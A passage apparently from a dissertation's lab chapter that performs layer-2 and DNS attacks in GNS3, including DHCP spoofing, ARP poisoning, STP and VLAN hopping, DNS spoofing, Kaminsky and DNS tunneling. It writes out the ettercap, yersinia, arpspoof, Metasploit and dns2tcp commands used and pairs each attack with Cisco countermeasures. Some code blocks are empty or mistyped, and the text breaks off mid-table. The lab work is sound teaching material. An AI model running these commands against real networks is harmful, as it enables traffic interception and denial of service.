where we assign an IP to the DHCP server interface connected to the switch SW2 (lines 2-4), and we configure the pool of available addresses (lines 6-9). Once this is done, we wait for all the machines to get IP addresses assigned. After that, we can proceed with launching the attack. To perform the attack, in the Kali Linux (fake DHCP Server), we use the ettercap tool [29], a tool that allows performing MitM attacks, which in this particular case is a DHCP Spoofing attack. This fake DHCP Server will try to win a race against the real DHCP Server, by attempting to respond first to the victim’s request message, as represented in figure 3.8. To send the messages to the victim with the fake addresses, we need to enter the following command:

```
ettercap -T -i eth0 -M dhcp:172.168.1.1-10/255.255.255.0/4.4.4.4
```

where the -T flag means that we are using the tool with the text interface, the -i flag indicates the interface to send the fake DHCP response, the -M parameter represents the type of the attack MitM and
the remaining parameter stands for the DHCP Spoofing attack with the used address pool, net mask and DNS. As we can see, the fake DHCP server with the IP address 192.168.1.2 outruns the true one, successfully generating the intended fake DHCP responses (figure 3.9), providing the generated IP address and gateway to the victim (figure 3.10).

Figure 3.8: Ettercap tool performing the attack

Figure 3.9: DHCP exchanged messages during the attack

Figure 3.10: Victim with fake IP address, gateway and DNS provided by the attacker
3.1.2.B Countermeasures

After performing the attack, we must implement security measures. Facing this problem, Cisco has a feature, called DHCP snooping that can prevent this kind of attack. The DHCP snooping is a technology that permits the switch ports configuration in one of two states: trusted and untrusted. In a trusted case, the switch port can let through DHCP responses; this case is reserved to a trustworthy DHCP Server. In an untrusted state, DHCP responses will not be allowed, to prevent fake DHCP responses from attackers. To facilitate the routers programming, the switch ports don’t need to be individually configured because if a port is not set to be trusted, it is untrusted by default. The commands needed to configure the DHCP Snooping in the switch SW1 are the following:

```
conf t
ip dhcp snooping
ip dhcp snooping vlan 1
interface g0/0
ip dhcp snooping trust
no shut
end
wr
```

These configuration considers as trusted, the interface g0/0 (lines 4-5) which is the interface where the DHCP trustworthy responses come from as we can observe in the figure 3.11. This output is possible to obtain through the following command:

```
show ip dhcp snooping
```

![Figure 3.11: DHCP snooping configuration](image)

If we perform the attack again, we are able to see that the attacker can no longer provide the fake DHCP messages to the victim, instead, the legitimate DHCP server provides the IP address and the gateway
to the PC (figure 3.12).

![Figure 3.12: Victim acquires the correct IP address, gateway and DNS from the legitimate DHCP server](image)

### 3.1.3 DHCP starvation

#### 3.1.3.A Description

To perform a DHCP starvation attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker, (ii) a Cisco switch, (iii) a Cisco router which contains a configured DHCP Server, and (iv) a PC to test the functioning of the DHCP server. The network topology is portrayed in the figure 3.13. First of, we configure the DHCP server through the following commands:

```
conf t
interface f0/0
ip add 192.168.1.254 255.255.255.240
no shut
exit
ip dhcp pool 1
  network 192.168.1.0 /28
  dns-server 8.8.8.8
  default-router 192.168.1.14
end
wr
```

After that we can launch the attack. For that purpose, we will use a tool called yersinia [30], to send DHCP Discover messages to the DHCP server to make it run out of IP addresses. The command to launch this attack is the following:

```
yersinia dhcp -attack 1
```
where we choose the protocol DHCP and we select the attack corresponding to a DoS attack sending Discover packets.

The attacker sends the generated Discover messages to the DHCP server and the server assigns all the available IP addresses, as we can see in figure 3.14. This leads the DHCP server into running out of addresses to assign as we can see in figure 3.15. Consequently, all of the legitimate clients that should get an IP address by DHCP are not able to do it (figure 3.16), because there are no more available addresses in the server pool. As we can observe, the attack is successfully performed.

3.1.3.B Countermeasures

The DHCP starvation attack can be prevented by using a technology already approached, called DHCP snooping. In this case we will not only configure the switch port as trusted, but also configure the
untrusted ports with a rate limit (line 5), in order to limit the number of DHCP packets per second that come from a possible attacker. This can be implemented by using the following commands in the switch:

```
1  conf t
2  ip dhcp snooping
3  ip dhcp snooping vlan 1
4  interface g0/0
5  ip dhcp snooping limit rate 5
6  no shut
7  exit
8  interface g0/1
9  ip dhcp snooping trust
10  no shut
11  end
12  wr
```

After the implementation of these countermeasures we launch the attack again. As we can see the attack is now stopped by the switch and the interface where the attacker is connected is switched off (figure 3.17). Consequently, the PC can now acquire an IP address from the DHCP server (figure 3.18).

We can conclude that we can successfully prevent the attack.
3.1.4 ARP poisoning/spoofing

3.1.4.A Description

To perform an ARP Spoofing attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker, (ii) a Cisco switch and (iii) two Cisco routers, one acting as a Default-gateway, and the other playing the victim part. The network topology is portrayed in the figure 3.19. Before the performance of the attack, we configure the Default-gateway to provide IP addresses to the remaining interfaces with the following commands:

```plaintext
conf t
interface e0/0
ip add 192.168.1.1 255.255.255.0
no shut
exit
ip dhcp pool 1
network 192.168.1.0 /24
dns-server 8.8.8.8
default-router 192.168.1.1
end
wr
```
Once it’s done, we wait for all the machines to get IP addresses assigned. After that, we can proceed with launching the attack. To perform this attack, we use a tool called arpspoof [31], part of the set of tools called Dsniff [32], allowing to perform the attack by specifying the particular host to spoof. If the attack succeeds, it is possible to sniff packets from that targeted device, since it now has the attacker IP address as its default gateway. The commands to perform the attack are the following:

```
1  echo 1 > /proc/sys/net/ipv4/ip_forward
2  arpspoof -i eth0 -t 192.168.1.2 -r 192.168.1.1
```

where in line 1, we allow all the victim traffic to travel through our host. In line 2, we perform the attack through the interface eth0, targeting the victim with the IP address 192.168.1.2 into thinking the attacker has the IP address of the Default-gateway (192.168.1.1), by sending fake ARP reply messages (figure 3.20). It is possible to observe the changed IP address during the attack in the ARP table of the victim (figure 3.21). This output can be obtained by using the following command:

```
1  sh arp
```

![Figure 3.20: Fake ARP replies messages sent by the attacker](image1)

![Figure 3.21: ARP table before and during the attack](image2)

### 3.1.4.B Countermeasures

To counter this kind of attack, Cisco has developed a technology called Dynamic ARP Inspection (DAI). These switch ports can be configured either as trusted or untrusted. The untrusted configuration is the
default one in all the ports. On the other hand, the intended ports to let through ARP requests and ARP replies have to be configured as trusted. From this point, the switch behavior will correspond to the ports configuration. If the port is assigned as trusted, the switch will not check received ARP packets, it will just forward them. For untrusted interfaces, the switch will intercept all ARP packets, verifying if the IP-to-MAC address bindings are valid, before updating the local table and forwarding the packet to its destination. If the incoming ARP packets are invalid, for instance, corresponding to an ARP poisoning attack, the switch will drop the packet. It is also attainable to configure logging for the dropped packets, therefore every time a packet gets dropped, the switch logs this event in a log buffer. The commands to configure DAI in a switch are the following:

```
1 conf t
2 ip arp inspection vlan1
3 end
4 wr
```

After configuring the counter measures, we can observe that they function as expected because the fake ARP responses get dropped by the switch (figure 3.22). This output can be obtained by the following command:

```
1 sh ip arp inspection statistics vlan 1
```

![Figure 3.22: ARP fake messages being dropped during the attack](image)

### 3.1.5 STP manipulation

#### 3.1.5.A Description

To perform a STP manipulation attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker and (ii) two Cisco switches to represent the spanning-tree. Both switches act as victims since the attacker will claim the part of root bridge. The network
topology is portrayed in the figure 3.23.

![Topology used in the STP manipulation attack](image)

**Figure 3.23:** Topology used in the STP manipulation attack

Initially one of the two switches included in the spanning-tree will be the root bridge, in this particular experiment it is the switch SW1 (figure 3.24).

![Switch SW1 as the root bridge](image)

**Figure 3.24:** Switch SW1 as the root bridge

In order to deploy the attack we use a tool called yersinia [30], a framework capable to perform multiple layer-2 attacks. This tool enables the attacker to send BPDU packets through STP. With this, the attacker can become the root bridge of the spanning-tree, having access to most of the network traffic. The command to perform the attack is the following:

```
yersinia stp -attack 4
```

where stp is the name of the protocol to exploit in the attack and the attack number 4 corresponds to the claiming root role attack, belonging to the set of possible attacks in yersinia.

It is possible to observe the STP messages sent to the spanning-tree by the attacker (figure 3.25).

Consequently, we can now observe that none of the bridge is the root, meaning that the attacker claimed the root role himself (figure 3.26 and 3.27).
3.1.5.B Countermeasures

After performing this attack it is important to implement some countermeasures in order to prevent it. We use Cisco technologies to mitigate this attack, namely, portfast, BPDU guard and root guard. Portfast automatically configures an interface as access or trunk port from the blocking state to the forwarding state. This should only be configured in interfaces where there are no switches connected. BPDU guard is necessary because it disables a port that receives a BPDU, so it needs to be configured in the ports where there are no switches connected. Root guard prevents an improper switch from becoming the root bridge. It should be configured in all ports that should not become root ports. The commands used to deploy this configuration are the following:

```
1 conf t
2 interface g0/0
3 spanning-tree portfast
4 spanning-tree bpduguard enable
5 spanning-tree guard root
6 end
```
If we try to perform the attack again it is possible to observe that it is successfully countered (figure 3.28).

**Figure 3.28:** STP attack mitigated

### 3.1.6 DTP attack

#### 3.1.6.A Description

To perform a DTP attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, as the attacker and (ii) a Cisco switch playing the victim part. We can observe the used network topology in the figure 3.29. To establish a trunk link with the victim, we use a tool already addressed in this document called yersinia, to perform the attack exploiting the vulnerability of DTP. We can perceive that initially, the victim doesn’t have any trunk links established (figure 3.30). We can deploy the attack, creating a trunk link, by using the following command:

```
```

---

**Figure 3.29:** Topology used in the DTP attack
where dtp refers to the attacked protocol and the -attack 1 corresponds to the enable trunking attack. The DTP messages exchanged between the attacker and the victim during the attack are shown in figure 3.31. It is now possible to observe that the switch has already established a trunk link with the attacker (figure 3.32), which allows him to access to the VLANs that the victim can access. We can conclude that the attack is successful.

3.1.6.B Countermeasures

To counter DTP attacks we have to disable the auto trunking in switch ports, to ensure that the switch only establishes trunk links with trustworthy switches. The needed commands in a switch to avoid a DTP are the following:

1. conf t
2. interface range g0/0-3,g1/0-3,g2/0-3
3. switchport mode access
where the line 3 disables negotiations on non-trunking ports and the line 4 disables negotiations on trunking ports. With these countermeasures we still need the network to function properly, so we manually enable a trunk link on a trunking port with the following commands:

```
conf t
interface g0/1
switchport mode trunk
end
wr
```

### 3.1.7 Double tagging attack

#### 3.1.7.A Description

To perform a double tagging attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux as the attacker, (ii) two Cisco switches and (iii) two PC hosts representing two different VLANs. We can observe the used network topology in the figure 3.33. To configure the network we configured a trunk link between SW1 and SW2 with the VLAN 2 as the native VLAN. In order to accomplish that we provided the following commands in the switches:

```
conf t
interface g0/0
switchport trunk encapsulation dot1q
switchport mode trunk
```
We also have to attribute PC2 to the VLAN 2 and PC3 to the VLAN 3, we can do that through the following commands on SW2:

```
conf t
interface range g2/0 - 3
switchport access vlan 2
switchport mode access
exit
interface range g3/0 - 3
switchport access vlan 3
switchport mode access
end
wr
```

To deploy the attack we use the tool yersinia, previously addressed in this document. This time we explore the interactive session available of yersinia. We can access this interactive session by entering the following command:

```
yersinia -I
```

Once we are in the yersinia session, we can only navigate through it by our keyboard. Initially we press the G key to display the protocol options in yersinia (figure 3.34). In this case we will choose the 802.1Q protocol. After that we press the E key in order to manipulate 802.1Q packet fields that will be delivered in the attack (figure 3.35). In this experiments the tags choosed to the VLANs were the VLAN 2 (native VLAN of this network) and the VLAN 3 (the VLAN where the victim is). Finally we press the X key to list the available 802.1Q attacks and we choose to send the double enc. packet that corresponds to sending the 2 VLAN tags by pressing the 1 key (figure 3.36). We can now observe how the attack propagates through the network. Initially the 802.1Q forged packet leaves the attacker carrying the 2 802.1Q tags (figure 3.37). When the packet arrives to the trunk link between SW1 and SW2, the first
Figure 3.35: 802.1q option fields in yersinia

Figure 3.36: 802.1q attack options in yersinia

Figure 3.37: ICMP packet labeled with 2 VLAN tags

tag, corresponding to the native VLAN (VLAN 2) is removed and the packet proceeds carrying only the VLAN 3 tag (the VLAN where the victim host is located) (figure 3.38). Finally we can observe that we can successfully access to the host located in VLAN 3 where we were supposed to not have access (figure 3.39). We can claim that the attack was successful.

Figure 3.38: ICMP packet with the first VLAN tag removed

Figure 3.39: ICMP packet without tags proving access to VLAN 3

3.1.7.B Countermeasures

To counter this attack the native VLAN must be configured with an ID different than the default (VLAN 1), as we already did in the network assembled to perform this attack. This will only make the attack
possible if the attacker knows what is the ID of the native VLAN.

### 3.1.8 PVLAN proxy attack

#### 3.1.8.A Description

To perform a PVLAN attack we use the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux as the attacker, (ii) a Cisco switch, (iii) a Cisco router and (iv) a PC playing the victim part (figure 3.40). Before performing the attack, we need to configure the switch with PVLANs. To implement this we use the following commands:

```bash
conf t
vtp mode transparent
vlan 10
private-vlan primary
exit
vlan 20
private-vlan isolated
exit
vlan 100
private-vlan community
exit
vlan 10
private-vlan association 20,100
interface g0/1
switchport mode private-vlan promiscuous
switchport private-vlan mapping 10 20,100
exit
interface g0/0
switchport mode private-vlan host
switchport private-vlan host-association 10 100
exit
```

![Figure 3.40: Topology used in the PVLAN proxy attack](image)

Figure 3.40: Topology used in the PVLAN proxy attack
where we configured the switch port where the router (VLAN 10) is connected as a promiscuous port, the switch port where the attacker (VLAN 100) is connected as a community port and the switch port where the victim (VLAN 20) is connected as an isolated port. If we try to access the victim host we realise that we can’t (figure 3.41), because the victim is connected to an isolated port. After that, we deploy the attack, introducing an entry in the attacker ARP table, binding the IP address of the victim with the MAC address of the router. This can be done through the following command:

```
arp -s 10.0.1.2 c2:01:05:19:00:00
```

Subsequently, we verify the ARP table of the attacker and we try to communicate with the victim. We can recognise that the ICMP packets are successfully redirected by the router to the victim (figure 3.42).

### 3.1.8.B Countermeasures

To prevent this attack we can configure an access list in the router that will prevent traffic coming from the same subnet as the victim. To configure the access list we can the following commands:
If we perform the attack another time, we realise that the ICMP packets coming from the attacker are now filtered (figure 3.43) and, consequently, the attacker can no longer access to the victim.

![Figure 3.43: PVLAN proxy attack successfully mitigated](image)

### 3.1.9 MAC address spoofing

**3.1.9.A Description**

To perform a MAC address spoofing attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker, (ii) a Cisco switch and (iii) a PC playing the Victim role (figure 3.44). In this experiment we are able to note how we can find out information about a victim before performing the intended attack. For that purpose, we will use the tool nmap [13] to scan the hosts in the network (figure 3.45). To launch this scan we use the following command:

```
nmap -sn 192.168.1.0/24
```

where the attacker sends an ARP request to all the IP addresses in the network (figure 3.46). The hosts contained in the network will answer to this request with an ARP reply, providing their MAC address, the
Figure 3.45: Result of the nmap scan to the network

information we needed to perform the attack. As we already know the MAC address of the victim we

Figure 3.46: ARP messages exchanged during the scan

can proceed with the attack by altering the attacker MAC address to the victim MAC address. Before
proceeding, we can observe the switch CAM table with the correct mapping in each interface (figure
3.47). To deploy the attack we use a linux command named macchanger, like displayed below:

![Switch CAM table before the attack](image)

<table>
<thead>
<tr>
<th>Switch #</th>
<th>Mac Address Table</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vlan</td>
<td>Mac Address</td>
</tr>
<tr>
<td>1</td>
<td>00:50:79:66:00</td>
</tr>
<tr>
<td>1</td>
<td>d2b4.8f12.b2c3</td>
</tr>
</tbody>
</table>

Total Mac Addresses for this criterion: 2

switch
dachanger -m 00:50:79:66:68:00 eth0
i fup eth0

After that, if we check the CAM table again, we can see that the MAC address of the victim is now
claimed by the attacker, so we conclude that the attack is successfully deployed.
3.1.9.B Countermeasures

In order to counter this kind of attack, we can configure a Cisco technology called IP source guard that filters traffic with an invalid binding IP-MAC address. To proper functioning, the IP source guard must be configured with DHCP snooping. These countermeasures can be implemented using the following commands:

```bash
conf t
ip dhcp snooping
ip dhcp snooping vlan 1
interface g0/0
ip verify source
exit
interface g0/1
ip dhcp snooping trust
end
wr
```

As we can see the IP source guard is configured in the switch (figure 3.49) and if we deploy the attack again, we will see that the switch does not change the MAC address of the port where the attacker is connected anymore, so if we check the CAM table we will observer the exact same table as before the attack occurred (figure 3.47).

3.1.10 DNS spoofing attack

3.1.10.A Description

To perform a DNS spoofing attack we used the GNS3 network tool, where we set up (i) a Docker container with Kali Linux, acting as the attacker (fake DNS server), (ii) a GNS3 appliance with the Mozilla Firefox browser so that we can see the attack happening, playing the Victim role, (iii) a GNS3 appliance.
acting as a Web server that contains the web page to where the victim will be redirected, (iv) a NAT that allows connection to the Internet, needed to access a Internet web page, and finally (v) a switch that connects all the nodes (figure 3.50).

Figure 3.50: Topology used in the DNS spoofing attack

In this attack, we will spoof the domain of linkedin.com, redirecting the a request made to linkedin.com to a rogue web page hosted in the web server.

To perform this attack we use the ettercap tool in the Kali Linux, which we already used in the experiment 3.1.2. First we have to do some changes in two configuration files. The first file to modify is the `/etc/ettercap/etter.conf` [33]. This file determines how ettercap behaves. The variables ec_uid and ec_gid, which specify the privileges of the user and the group ID, both have to be changed to zero (figure 3.51) and the variables redir_command_on, redir_command_off, redir6_command_on and redir6_command_off have to be uncommented (figure 3.52). This is needed to allow the redirection of the victim to the wanted DNS server. Despite in this experiment we are only using IPv4, ettercap cannot deploy the attack without uncommenting the IPv6 options and that is the reason why we uncommented the lines regarding IPv6 as well.

Figure 3.51: Variables ec_uid and ec_gid

The second file to modify is `/etc/ettercap/etter.dns`. Here we choose where the spoofed domain will be redirected (figure 3.53). In this experiment we chose to spoof the linkedin.com domain.

After that we have to set up our Web server. First, we edit the file `/var/www/html/index.html` in order to configure the look of our web page. Then we launch our web server, with nginx [34], using the following
Before deploying the attack we can verify that the domain linkedin.com still leads the victim to the supposed IP address (figure 3.54).

Finally, the attack can be launched, with ettercap using the following command:

```
1  service nginx start

2  ettercap -T -i eth0 -M arp:remote -P dns_spoof
   // 192.168.122.1///192.168.122.166//
```

where -T means that we are using ettercap with the text interface, -i indicates the interface that sends the attack, -M refers to the type of the attack MitM, the arp:remote appears to make the traffic redirection to the attacker, the -P stands for the ettercap plugins [35] (in this case we will use the dns_spoof plugin) the IP addresses indicated correspond respectively to the default-gateway of the network and to the IP address of the victim. The ettercap takes action, first performing an ARP poisoning attack, which implicates that the attacker and the victim have to be in the same subnet and then spoofing the domain linkedin.com (figure 3.55). If the victim tries to access the domain linkedin.com, it will result in a
redirection to the created web page (figure 3.56), so we can conclude that the attack was successfully performed. To better understand the sequence of exchanged messages that make this attack possible,
the victim and to the answers sent by the attacker, faking the location of the domain linkedin.com and redirecting it to the fake web page created.

3.1.11 DNS Kaminsky attack

3.1.11.A Description

To perform a DNS Kaminsky attack we use the GNS3 network tool where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker, (ii) a Cisco router configured as a DNS server, (iii) a PC acting as the Victim and (iv) an Internet connection to validate the records in our DNS server (figure 3.58). First of all, it is necessary to understand if the DNS record we pretend to attack is in our DNS server. For that, we can use the Linux command dig, as showed below:

```
1 dig @192.168.122.123 linkedin.com
```

where we provide the IP address of our DNS server and the domain that we intend to find out. As we can see, this command returns information about the DNS record that we intent to find (figure 3.59). After that we deploy the attack using a tool name metasploit [14]. To initiate this tool, we introduce the
Figure 3.59: The DNS server contains a record of linkedin.com

The following command:

```
1 mfsconsole
```

After being in the metasploit console, we will use an exploit that allows us to launch this attack and we setup the needed variables to proceed:

```
1 use auxiliary/spoof/dns/bailiwicked_host
2 set RHOST 192.168.122.123
3 set HOSTNAME attacker.linkedin.com
4 set NEWADDR 192.168.122.119
5 set SRCPORT 0
6 check
7 run
```

where the RHOST corresponds to the DNS server, the HOSTNAME corresponds to the hostname to hijack from the domain, the NEWADDR corresponds to the new address for the hostname (the address of the attacker), the SRCPORT corresponds to the port through which the DNS server communicates (the 0 means automatic in this module), the check command that is used to find the vulnerability in the DNS server and the run command, to run the attack.

When the check command is introduced, the following message is returned (figure 3.60). This means that the DNS server it is not vulnerable to this attack. If we still run the attack (figure 3.61), despite the

```
msfs auxiliary(spoof/dns/bailiwicked_host) > check
[+] 192.168.122.123 - Cannot reliably check exploitability.
```

Figure 3.60: Result of check command
message that says that the DNS server is not vulnerable, we realise that the forged DNS record is never introduced into the DNS server. This happens because the DNS server changes continuously the DNS source port, which completely avoids the attack. Here it is possible to observe the DNS messages that the attacker sends and the changing in the DNS source port (figure 3.62).

### 3.1.12 DNS tunneling attack

To perform a DNS tunneling attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the attacker, (ii) a Cisco router configured as a DNS server and (iii) a PC (our laptop) acting as the victim that allows to run the client side of the tool that permits the attack (figure 3.63). The tool used to perform the attack is called dns2tcp. This tool allows the establishment of a TCP connection over DNS, which is the objective of this attack, since we will establish a SSH session.
To configure the attack setup properly, we have to configure and launch a dns2tcp server in the attacker and to configure and launch a dns2tcp client in the victim. To successfully perform this attack we require to have access to the victim, since we have to configure the dns2tcp client there. First of all we configured the dns2tcp server in the attacker, through the configuration file located at /etc/dns2tcpd.conf, with the following values:

1. `listen = 10.0.0.1`
2. `port = 53`
3. `user = nobody`
4. `chroot = /tmp`
5. `domain = my.domain.com`
6. `resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25`

where the main aspects to consider are the IP address of the dns2tcp server, the port to listen, the fake domain that we will use to tunnel the traffic, and the resources to use. After that we launch the dns2tcp server (figure 3.64) with the following command:

```
dns2tcpd -F -d 3 - f /etc/dns2tcpd.conf
```
where we run the server in foreground, with level 3 debug, indicating the location of the configuration file. After that, we configured the DNS server, using the following commands:

```
conf t
interface f0/0
ip address 10.0.0.254 255.255.255.0
no shut
exit
ip dns server
ip host my.domain.com 10.0.0.1
end
wr
```

where the domain specified in line 7 corresponds to the domain used by the dns2tcp server, which makes the attack possible to perform, since the DNS request coming from the attacker is redirected to the dns2tcp server (figure 3.67). The last configuration to do is in the victim machine, where we configure the dns2tcp client, through the configuration file located at /dns2tcp/client/dns2tcprc, with the following values:

```
domain = my.domain.com
resource = ssh
local_port = 2222
debug_level = 3
```

where we indicate the domain used for tunneling, the type of traffic encapsulated in the DNS, the local port that listens to the incoming connections and the debug_level. After that we launch the dns2tcp client (figure 3.64) with the following command:

```
dns2tcpc -z my.domain.com -l 2222 -r ssh 10.0.0.1
```

where we run the client with the indicated domain, with the local port accepting the incoming connections, the resource to use, and finally the DNS server to use, that will be the dns2tcp server. After that we
initiate a SSH session in our victim (dns2tcp client), where we can observe that we try to establish the session to the localhost, but instead we establish the session to the attacker machine (dns2tcp server) (figure 3.66). With that we can communicate with the attacker using SSH over DNS traffic. We can observe that the dns2tcp tool allows the victim to exchange DNS messages with the attacker (figure 3.67) through the domain created (my.domain.com). These messages will allow TCP traffic in them (SSH in our experiment), which is the whole purpose of this attack.

![Figure 3.66: SSH session established in dns2tcp client with dns2tcp server](image)

![Figure 3.67: Wireshark capture with the DNS requests sent by the attacker](image)

### 3.1.13 Botnets

In this experiment, we intend to explore a feature in the Adaptive Security Appliance (ASA), named botnet traffic filter, that is able to detect and provide statistics on botnet related traffic. For the experience we chose to implement a SSH botnet, showing how it is possible to send commands from the attacker (that in this experiment works simultaneously as the C&C server) to the bots contained in the botnet and observe the results that these commands return. To perform this experience we used the GNS3 network tool, where we setup (i) a PC (our laptop) representing the attacker, to run the python code that implements the botnet, (ii) two Linux machines (Bot1 and Bot2) running in GNS3 appliances, representing the bots, (iii) a ASA firewall that is used to detect the botnet related traffic and a PC to manage the
ASA firewall through the graphical interface Adaptive Security Device Manager (ASDM). The topology used in this experiment is presented in figure 3.68.

![Topology used in the Botnet experiment](image)

**Figure 3.68:** Topology used in the Botnet experiment

First we enable the botnet traffic filter in the ASA firewall through the graphical interface ASDM (figure 3.69), where we indicate the interface of the attacker that is the source of the attack. Then we run the program that implements the botnet, which was written in Python (included in Appendix A.3), that will test the capability of the botnet traffic filter feature. In the program we define a Bot class that configures the information that the attacker needs to access to a bot (host_IP, user, password and port) and the necessary methods to create the SSH session to deliver the commands to the botnet (lines 3-25). The information about the hosts needs to be previously known, so we can add them as bots in our botnet (lines 38-39). In our experiment, the command sent to the bots by the attacker (bot master) was the command "ip a" (line 41), that displays the information about the IP protocol in the device.

After that we have to setup a SSH configuration in our bots. We access to the file /etc/ssh/sshd_config and we add the following lines:

```bash
Port 22
```
2 AddressFamily any
3 ListenAddress 0.0.0.0
4 PermitRootLogin yes

At the end we must save the file and restart the SSH service in order to apply the changes made, with the following command:

```
$ service ssh restart
```

Finally we can launch the botnet using the following command in our attacker console:

```
$ python3 botnet.py
```

We can observe that the output received by the attacker was indeed the information about the IP protocol of the bots, which corresponds to the output of the command "ip a" (figure 3.70).

Unfortunately, the ASA firewall could not detect any of the traffic classified as botnet related traffic and could not provide any statistics about that matter (figure 3.71). We think that this feature of the ASA is more effective by analysing a large scale botnet in the Internet, which is not the case of our experiment, since we only present a small scale scenario.

![Figure 3.70: Results after bots ran the commands sent](image)

![Figure 3.71: Statistics about botnet related traffic](image)

### 3.1.14 Layer-2 attacks tool

Throughout this dissertation we already addressed multiple Layer-2 vulnerabilities and have successfully exploited them using Kali Linux tools. The objective in these experiments is to perform these Layer-2 attacks, but with a created tool, that can perform the attacks and that provides more detailed configuration options. This tool is written in Python using a library named Scapy [36], that allows packet crafting.
We performed these experiments in GNS3, where we setup a network topology (figure 3.72) with a Kali Linux docker container where we use the Layer-2 attacks tool, four switches, and two different VLANs, VLAN1 and VLAN2. VLAN1 contains a Cisco router (R1), that is configured as a DHCP server and a PC (PC1). VLAN2 contains a Cisco router (R2) and a PC (PC2). The switches placed between Switch1 and R1 (Switch3 and Switch4) are there to add extra hops to the network, so we can perform the DHCP spoofing attack. The code used to create the feature is included in Appendix A.9. To use this code in the Kali Linux container we need to create a python file and append the source code, for example using the command \texttt{nano layer2attacks.py} and placing the available code in the file. After that we can edit and run the tool.

![Figure 3.72: Topology used in the Layer-2 tool experiment](image)

### 3.1.14.A Scanning features

To obtain information about the hosts contained in the network, the tool can perform two different scans: a network scan and a TCP scan. In the network scan we look for the MAC and IP addresses of the hosts by sending ARP packets to all the addresses on the network (figure 3.73) and looking for responses (figure 3.74). We will also look for information of an existing DHCP server on the network by sending a DHCP Discover message to the network and getting the MAC and IP addresses of the responding host (figure 3.75). To run the network scan we use the following command \texttt{python layer2attacks.py network\_scan 192.168.1.0/24}, where we assign the intended subnet to scan. In the TCP scan, we look

![Figure 3.73: Network scanning to obtain IP and MAC addresses](image)
for open TCP ports on a network host by sending TCP SYN packets to each port that we intend to scan. To run the TCP scan we use the following command `python layer2attacks.py tcp scan 192.168.1.254`, where we assign the intended host IP address to scan. The opened ports send a TCP [SYN, ACK] packet to the attacker, unlike the closed ports that reply to the attacker TCP SYN packet with a TCP [RST, ACK] packet, closing the connection (figure 3.76). Analysing the responses obtained from the scan, we can conclude that in this experiment, the ports 22 and 443 are closed and the ports 23 and 80 are open.

### 3.1.14.B Attacking features

The information obtained through the scanning features of this tool will be used in the following attacks, where we create all the necessary packets to deploy each attack.

#### CAM Overflow

In the CAM Overflow attack, we need to fill up the CAM table of the switch, so it starts behaving as a hub. For that we built IP packets to dissimulate the true intention of the attack. The tool is prepared to send as many packets as the user insists. To run this attack we use the following command `python layer2attacks.py cam_overflow 10000`, where we assign the intended number of packets to send to the switch. When we execute the attack, the IP packets are sent to the switch as we can observe in figure 3.77, with random source and destination IP addresses to divert attentions from the attacker. As these packets arrive to the switch, it stores the random MAC addresses in its CAM table until it fills it (figure 3.78), which will make the switch behave as a hub. The code that creates these packets and sends them to the switch is in lines 65-70.

#### DHCP Spoofing

Regarding DHCP spoofing, we need to outrun the legitimate DHCP server and assign an IP address...
and a default gateway to the victim (PC1). To run this attack we use the following command `python layer2attacks.py dhcp_spoofing`. This attack requires the tool to listen the incoming packets, since we have to handle a DHCP Discover message and a DHCP Request message. To perform the attack, we send a DHCP Offer packet to the victim with the same transaction_id as the received DHCP Discover packet, which is needed to make the victim believe that the offer is legitimate. After that, the victim sends a DHCP Request packet which we respond with a DHCP ACK that finishes the DHCP message exchanging and assigns the IP address and the default gateway to the victim. We can observe the messages exchanged between the attacker and the victim in figure 3.79 and realise that the attack was successfully delivered by checking the victim IP configuration (figure 3.80). The code that creates these packets and sends them to the victim is in lines 72-106.

**Figure 3.79**: DHCP exchanged packets to spoof the DHCP server

### DHCP Starvation

About DHCP Starvation, we need to starve the pool of addresses available at the DHCP server in order to cause DoS. To run this attack we use the following command `python layer2attacks.py dhcp_starvation`. To perform the attack we create enough DHCP Discover packets to take all the addresses from the DHCP server. We can observe the DHCP Discover messages sent by the attacker and the DHCP Offer messages sent by the DHCP server in figure 3.81. After the DHCP server starved its addresses pool, we can observe that it no longer can assign IP addresses to any host in the network.
ARP Spoofing

In ARP Spoofing we want to make PC1 (victim) believe that the attacker is the default gateway and to make the default gateway believe that the attacker is the PC1, so we can obtain the traffic sent and received by the PC1. To run this attack we use the following command `python layer2attacks.py arp_spoofing 192.168.1.1 192.168.1.254`, where we provide the victim IP address and the default gateway of the victim. We send continuously ARP reply packets, that update the victim ARP table and the default gateway ARP table, mapping the attacker MAC address to the default gateway IP address (in PC1 ARP table) and to the victim IP address (in default gateway ARP table). We can observe these ARP replies in figure 3.83. After that we can check the ARP table of the victim where we observe that the attacker MAC address is mapped to the default gateway (figure 3.84), which redirects the traffic sent
by the victim to the attacker. We conclude that the attack is successfully performed. The code that creates these packets and sends them to the victim is in lines 123-126.

![ARP packets sent to the victim and to the default gateway spoofing the MAC addresses](image)

**Figure 3.83:** ARP packets sent to the victim and to the default gateway spoofing the MAC addresses

**STP Manipulation**

Regarding STP Manipulation we intend to become the root bridge of the spanning tree in order to get more traffic arriving to the attacker. To run this attack we use the following command `python layer2attacks.py stp_manipulation`. To perform the attack we send a packet with a lower MAC address and priority than all of the other bridges of the spanning tree. This packet will cause a change in the spanning tree, that will elect a new root bridge, that will be the attacker. We can observe the packet sent to the spanning tree in figure 3.85, that is different from all the other packets since it contains the source MAC address of the attacker instead of the MAC addresses of the other bridges. To prove that the attacker was executed successfully, we check the spanning tree in Switch2 and Switch1 (figure 3.86), where we can see that the MAC address of the root bridge corresponds to the attacker. The code that creates these packets and sends them to the victim is in lines 128-132.

![ARP tables with the spoofed MAC addresses of the victim and default gateway](image)

**Figure 3.84:** ARP tables with the spoofed MAC addresses of the victim and default gateway

```plaintext
<table>
<thead>
<tr>
<th>Protocol</th>
<th>Address</th>
<th>Age (min)</th>
<th>Hardware Addr</th>
<th>Type</th>
<th>Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet</td>
